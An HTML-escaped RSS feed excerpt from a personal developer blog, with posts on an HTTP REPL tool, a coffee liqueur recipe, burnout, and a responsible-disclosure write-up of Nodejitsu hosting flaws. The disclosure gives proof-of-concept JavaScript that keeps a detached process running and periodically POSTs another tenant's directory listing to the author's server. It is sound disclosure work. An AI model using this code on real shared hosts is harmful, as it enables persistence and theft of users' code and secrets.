&lt;p&gt;I wanted to accomplish both URL and request body autocompletion, based on both
history and OpenAPI spec, if available.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/mmalecki/http-console2/commit/d9d205ad5989a12a5ac9154c509ade6ecdd9172f&quot;&gt;Setting up the barebones&lt;/a&gt; turned out to be easy, thanks to the the &lt;a href=&quot;https://nodejs.org/api/repl.html#repl_repl_start_options&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;repl.start&lt;/code&gt;’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;completer&lt;/code&gt; parameter&lt;/a&gt;.
Providing request body completion proved to be &lt;a href=&quot;https://github.com/mmalecki/http-console2/commit/925968d523f142abcb7d558a8b89bc01d55ec72f&quot;&gt;more tricky&lt;/a&gt;. It involved &lt;a href=&quot;https://github.com/mmalecki/http-console2/commit/925968d523f142abcb7d558a8b89bc01d55ec72f#diff-67cd5f33a7709853118cb5b92637c1edR137-R162&quot;&gt;setting up &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stream-json&lt;/code&gt;&lt;/a&gt;
so that it extracts the current JSON path user is typing at the
time of end of input, and &lt;a href=&quot;https://github.com/mmalecki/http-console2/blob/925575b3f8b579df9d309480346a3bb6feebd4f2/lib/completers/openapi.js#L48-L122&quot;&gt;flattening OpenAPI schemas&lt;/a&gt;
into something less complex, and easy to pick at from the completer’s perspective.&lt;/p&gt;

&lt;p&gt;Overall, this was the most challanging, but also the most fun part of this project.&lt;/p&gt;

&lt;p&gt;An interesting fact I learned along the way was that Kubernetes’ API specification
has cycles in it.&lt;/p&gt;

&lt;h1 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h1&gt;
&lt;p&gt;I am very happy with the 0.9 release. It satisfies all the requirements I had
for it, and is already proving to be very useful. Additionally, I had a lot of
fun writing it, as I enjoy writing developer tools.&lt;/p&gt;

&lt;h2 id=&quot;plans-for-the-next-version&quot;&gt;Plans for the next version&lt;/h2&gt;
&lt;p&gt;My plans for the next release are to make this a, well, more effective REPL.
I’d like to be able to run crude operations on the data returned - pick at them
(preferably with JSONPath/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jq&lt;/code&gt;/etc. style path expressions), feed them to next
operations, write them to files, etc.&lt;/p&gt;

&lt;p&gt;I also intend to make the OpenAPI completion smarter, give it an understanding
of arrays and a way to preview the schema - perhaps by double-pressing Tab
when having a fully completed URL.&lt;/p&gt;

&lt;p&gt;Thank you for reading, and stay tuned for updated!&lt;/p&gt;
</description>
				<pubDate>Tue, 21 Jan 2020 00:00:00 -0600</pubDate>
				<link>http://blog.mmalecki.com/2020/01/21/http-console-0.9.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2020/01/21/http-console-0.9.html</guid>
			</item>
		
			<item>
				<title>Homemade coffee liqueur</title>
				<description>&lt;p&gt;The idea for a homemade coffee liqueur has been in the back of my mind for a
while now. In addition to having the opportunity to tweak it as I desire, some
time ago I’ve acquired some rum barrel-aged coffee used by the folks at
&lt;a href=&quot;https://www.facebook.com/BrismanKawowyBar/&quot;&gt;Brisman&lt;/a&gt; to compete in last year’s
&lt;a href=&quot;https://www.worldcoffeeingoodspirits.org/&quot;&gt;World Coffee in Good Spirits Championship&lt;/a&gt;,
and I really wanted give it a try out in a cocktail
setting.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;I perused many recipes, and close to all of them are a combination of the
following steps:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;make syrup, most commonly water - turbinado sugar&lt;/li&gt;
  &lt;li&gt;infuse base alcohol with coffee - either using instant coffee or a cold-brew method&lt;/li&gt;
  &lt;li&gt;dilute with cold-brew coffee&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sometimes, convention is good. I’ve decided to follow the same framework, while
adding flavor where I can, and picking out my own ratios.&lt;/p&gt;

&lt;h1 id=&quot;recipe&quot;&gt;Recipe&lt;/h1&gt;
&lt;p&gt;All of the recipes make more than is needed for 700 ml of this liqueur. The reward
for giving in to their demands is a cache of delicious cocktail ingredients in the
fridge.&lt;/p&gt;

&lt;h2 id=&quot;cold-brew-coffee&quot;&gt;Cold brew coffee&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;100 g coffee (I’ve used rum barrel-aged Guatemalan)&lt;/li&gt;
  &lt;li&gt;500 g water&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Brew cold brew coffee using 1:5 ratio, steeping for 12 hours in the fridge.
Strain through coffee filter.&lt;/p&gt;

&lt;h2 id=&quot;coffee-syrup&quot;&gt;Coffee syrup&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;32 g coffee&lt;/li&gt;
  &lt;li&gt;512 g water&lt;/li&gt;
  &lt;li&gt;Muscovado sugar, as many grams as brewed coffee&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Grind coffee for filter brew, and brew using 1:32 ratio (or however you brew your
morning coffee, that’s strictly up to you).&lt;/p&gt;

&lt;p&gt;Weight out the brewed coffee, add as much turbinado sugar by weight. Stir to combine, boiling if needed.&lt;/p&gt;

&lt;p&gt;This is a notable deviation from the common framework - most recipes use water
as base syrup liquid. Here, we use coffee to build up the coffee flavor. Plus,
the method kind of reminds me of &lt;a href=&quot;https://drinks.seriouseats.com/2011/07/how-to-make-japanese-style-iced-coffee.html&quot;&gt;Japanese iced coffee&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;coffee-rum&quot;&gt;Coffee rum&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;700 ml rum (I’ve used Bacardi Carta Negra)&lt;/li&gt;
  &lt;li&gt;35 g coffee&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Grind coffee as for cold brew. Steep in rum using 1:20 ratio for 12 hours in the fridge.
Strain through coffee filter.&lt;/p&gt;

&lt;h2 id=&quot;coffee-liqueur&quot;&gt;Coffee liqueur&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;337 ml cold brew coffee&lt;/li&gt;
  &lt;li&gt;400 ml coffee syrup&lt;/li&gt;
  &lt;li&gt;286 ml coffee rum&lt;/li&gt;
  &lt;li&gt;pinch salt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Combine all the ingredients. Stir to combine. That’s your coffee liqueur. Store in
a fridge.&lt;/p&gt;

&lt;h3 id=&quot;methodology&quot;&gt;Methodology&lt;/h3&gt;
&lt;p&gt;The explanation for those odd ratios is twofold:&lt;/p&gt;

&lt;h4 id=&quot;alcohol-content&quot;&gt;Alcohol content&lt;/h4&gt;
&lt;p&gt;I wanted my liqueur to have enough of an alcohol content to prevent spoilage in
the fridge. I’ve settled for around 10 % - an admittedly random number that I
feel comfortable with.&lt;/p&gt;

&lt;h4 id=&quot;sugar-content&quot;&gt;Sugar content&lt;/h4&gt;
&lt;p&gt;I wanted the liqueur to be 1/2 - 2/3 as sweet as Kahlua. So, I brought out my refractometer
and tested its sugar content. I soon discovered that straight Kahlua is too
sweet for it to measure, so I diluted it with equal parts water. The solution
came in at around 17.5 Brix, so Kahlua as-is will clock in around 35 Brix.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;50%&quot; style=&quot;display: block; margin: 0 auto;&quot; src=&quot;/img/kahlua-refractometer.png&quot; alt=&quot;kahlua-refractometer&quot; /&gt;&lt;/p&gt;

&lt;p&gt;For reference, 1:1 sugar syrup has 50 degrees Brix.&lt;/p&gt;

&lt;p&gt;After some boring math around that, my yields, and the alcohol content, I came
up with the forementioned ratio.&lt;/p&gt;

&lt;p&gt;It seemed to have worked, at least sugar-wise:&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;50%&quot; style=&quot;display: block; margin: 0 auto;&quot; src=&quot;/img/dyi-refractometer.png&quot; alt=&quot;dyi-refractometer&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h1&gt;
&lt;p&gt;I’m very happy with the end result. I’ll continue tweaking the ratios, but I feel
like this is close to done.&lt;/p&gt;

</description>
				<pubDate>Mon, 20 Jan 2020 00:00:00 -0600</pubDate>
				<link>http://blog.mmalecki.com/2020/01/20/homemade-coffee-liqueur.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2020/01/20/homemade-coffee-liqueur.html</guid>
			</item>
		
			<item>
				<title>Nodejitsu security vulnerabilities</title>
				<description>&lt;p&gt;Recently, I was looking at some of Nodejitsu code, namely
&lt;a href=&quot;https://github.com/nodejitsu/solenoid&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;solenoid&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/opsmezzo/forza&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forza&lt;/code&gt;&lt;/a&gt;
since I was planning to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forza&lt;/code&gt; in my pet project. My attention was drawn
to a particular piece of code which had to deal with user permissions. Soon
I realized that I should be able to &lt;strong&gt;leave my process running on the VM even
after my application was stopped and execute my child processes with the same
rights as all of the instrumentation&lt;/strong&gt;. While investigating this particular bug,
I noticed that &lt;strong&gt;some of their sensitive configuration files were readable to
world&lt;/strong&gt;.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;Disclosure: I contributed significant amounts of code to projects mentioned
here. For details on this, read &lt;a href=&quot;http://blog.nodejitsu.com/infrastructure-at-nodejitsu-1/&quot;&gt;Infrastructure at Nodejitsu&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;leaving-a-process-running&quot;&gt;Leaving a process running&lt;/h2&gt;
&lt;p&gt;The possibility of leaving a process running on a VM was caused by the fact
that &lt;a href=&quot;https://github.com/nodejitsu/solenoid/blob/f802ed6e75d978f344cc3d54ff02639a8af1b623/lib/solenoid.js#L94-L115&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;solenoid&lt;/code&gt; only killed the process it spawned&lt;/a&gt;,
which was fine as long as user only spawned processes which remained attached
to their parents.&lt;/p&gt;

&lt;p&gt;However, thanks to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;detach&lt;/code&gt; option of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;child_process.spawn&lt;/code&gt;, I was able to spawn
a process which called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setsid&lt;/code&gt; and became a session leader. Killing parent of
such a process doesn’t affect it in any way. The code I used was:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;spawn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;child_process&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;spawn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;This is not the application you are looking for.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;listen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;spawn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;child.js&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;detach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, I had &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;child.js&lt;/code&gt; running, and Nodejitsu stack wasn’t able to kill it. Yay!
Unfortunately, Nodejitsu architecture reuses slave servers. Thus, after some time
my process was running alongside a different user’s application. Moving on…&lt;/p&gt;

&lt;h2 id=&quot;all-instrumentation-and-user-processes-running-with-the-same-permissions&quot;&gt;All instrumentation and user processes running with the same permissions&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/nodejitsu/solenoid/blob/f802ed6e75d978f344cc3d54ff02639a8af1b623/lib/solenoid.js#L303&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;solenoid&lt;/code&gt; spawned all the processes under the same user account&lt;/a&gt;.
This, and the possibility of leaving a process running under those permissions
rendered me able to &lt;strong&gt;affect their instrumentation and user processes and access
code and environment variables of the next application deployed to this server&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The code I used to verify this was as follows (that’s the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;child.js&lt;/code&gt; which was
spawned by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.js&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;setInterval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readdir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/opt/run/snapshot/package&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;files&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;mmalecki.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1337&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;files&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}));&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I started my exploit on enough hosts (with a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jitsu apps start &amp;amp;&amp;amp;
jitsu apps stop&lt;/code&gt; loop) and soon I was able to confirm that it indeed worked.&lt;/p&gt;

&lt;h2 id=&quot;sensitive-configuration-files-readable-to-world&quot;&gt;Sensitive configuration files readable to world&lt;/h2&gt;
&lt;p&gt;Doing the course of my investigation, I noticed that their &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/root&lt;/code&gt; directory
and files in it were readable to world. I took a peek and found &lt;a href=&quot;https://github.com/nodejitsu/solenoid/blob/master/bin/solenoid#L39&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.solenoidconf&lt;/code&gt;&lt;/a&gt;.
Amongst some boring stuff like paths and node versions it also contained
&lt;strong&gt;Nodejitsu’s CloudFiles credentials&lt;/strong&gt;. Nodejitsu use CloudFiles to store
built application snapshots (so &lt;strong&gt;all of their users’ code&lt;/strong&gt;).&lt;/p&gt;

&lt;h2 id=&quot;possible-impact-of-these-vulnerabilities&quot;&gt;Possible impact of these vulnerabilities&lt;/h2&gt;
&lt;p&gt;Impact of these issues is quite significant. If I were a malicious attacker, I
would be able to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;fetch, delete and change all of the snapshots&lt;/li&gt;
  &lt;li&gt;fetch and manipulate the code, kill user and instrumentation processes on
all the hosts I was able to leave my exploit running on&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;timeline-and-nodejitsu-response&quot;&gt;Timeline and Nodejitsu response&lt;/h2&gt;
&lt;p&gt;Initial response of the Nodejitsu team was almost instantenous. Right after
reporting the vulnerability I was on a call with &lt;a href=&quot;https://twitter.com/jcrugzz&quot;&gt;Jarrett&lt;/a&gt;,
one of their DevOps engineers.&lt;/p&gt;

&lt;p&gt;(All times are UTC.)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;March 10th, 04:39: request for a GPG key sent&lt;/li&gt;
  &lt;li&gt;March 10th, 04:51: GPG key is received and encrypted report is sent&lt;/li&gt;
  &lt;li&gt;March 13th, 03:02: &lt;a href=&quot;https://github.com/nodejitsu/solenoid/commit/22bf54c6de8f1ce9bc43c6fa328e9c981a443ed0&quot;&gt;a fix is committed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;March 13th: the aforementioned fix is deployed together with a fix for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/root&lt;/code&gt;
permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;acknowledgements&quot;&gt;Acknowledgements&lt;/h2&gt;
&lt;p&gt;Thanks to &lt;a href=&quot;https://twitter.com/av1anflu&quot;&gt;Charlie McConnell&lt;/a&gt; for great advice
during the process and &lt;a href=&quot;https://twitter.com/ardaxi&quot;&gt;Ariën Holthuizen&lt;/a&gt;
for reviewing this post.&lt;/p&gt;

&lt;h2 id=&quot;shameless-self-plug&quot;&gt;Shameless self-plug&lt;/h2&gt;
&lt;p&gt;If you’re interested in a professional security audit for your application,
I work at &lt;a href=&quot;http://yld.io&quot;&gt;YLD&lt;/a&gt;, an amazing consulting company. Don’t hesitate
to &lt;a href=&quot;mailto:nodejs@yld.io&quot;&gt;contact us&lt;/a&gt;!&lt;/p&gt;
</description>
				<pubDate>Tue, 08 Apr 2014 00:00:00 -0500</pubDate>
				<link>http://blog.mmalecki.com/2014/04/08/nodejitsu-security-vulnerabilities.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2014/04/08/nodejitsu-security-vulnerabilities.html</guid>
			</item>
		
			<item>
				<title>Burnout</title>
				<description>&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Burnout_%28psychology%29&quot;&gt;Wikipedia&lt;/a&gt; defines
burnout:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Burnout is a psychological term that refers to long-term exhaustion and
diminished interest in work.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;!-- more --&gt;
&lt;p&gt;It is also defined by &lt;a href=&quot;http://apps.who.int/classifications/icd10/browse/2010/en#/Z73.0&quot;&gt;ICD-10&lt;/a&gt;
(a medical classification list created by the &lt;a href=&quot;http://en.wikipedia.org/wiki/World_Health_Organization&quot;&gt;World Health Organization&lt;/a&gt;)
as “state of vital exhaustion”.&lt;/p&gt;

&lt;h2 id=&quot;how-it-all-started&quot;&gt;How it all started&lt;/h2&gt;

&lt;p&gt;For quite some time, when I started my career, I couldn’t understand what this
‘burnout’ my colleagues sometimes mentioned was. I had no problems with
working for 3 days in a row with little to no sleep to reach a deadline.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Engagement is characterized by energy, involvement and efficacy, the opposites
of exhaustion, cynicism and inefficacy.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I was &lt;em&gt;engaged&lt;/em&gt;. Ready to be woken up at any time to handle an emergency, ready
to stay up to finish some code.&lt;/p&gt;

&lt;p&gt;Only recently, I realized how hard I was driving myself into a wall.&lt;/p&gt;

&lt;p&gt;The crash wasn’t very painful at first. I noticed that I hated working on
particular pieces of code. Funnily enough, it made me work harder not to let
my productivity drop. As you could’ve guessed, it made things even worse,
especially with deadlines approaching and outages still happening in the
meantime.&lt;/p&gt;

&lt;p&gt;That’s when I realized that I was losing contact with the outside world. I let
my work define me. It got to the point where I was avoiding dealing with real
life stuff because I simply couldn’t handle it. I lost contact with most of my
high school friends. I didn’t go out or travel as much as I did before. My
overall psychological state wasn’t too good either.&lt;/p&gt;

&lt;p&gt;All of it coincided with a &lt;a href=&quot;http://blog.nodejitsu.com/major-new-features&quot;&gt;huge refactor&lt;/a&gt;
we were doing at Nodejitsu. It involved couple of big changes in our infrastructure
which weren’t possible to roll out incrementally. I was tired of not delivering
for extended periods of time. I could see my software working locally and on staging,
but I knew it’s going to be a while before our customers could use it.&lt;/p&gt;

&lt;p&gt;I made a decision that it was time to let go.&lt;/p&gt;

&lt;p&gt;So I quit.&lt;/p&gt;

&lt;p&gt;I didn’t do anything for a week. Then I started slowly getting back into open
source - submitting patches and starting my own projects. I spent maybe 2 hours
a day in front of my computer but I already started noticing that I was being
more and more enthusiastic about programming.  I dedicated rest of my time to
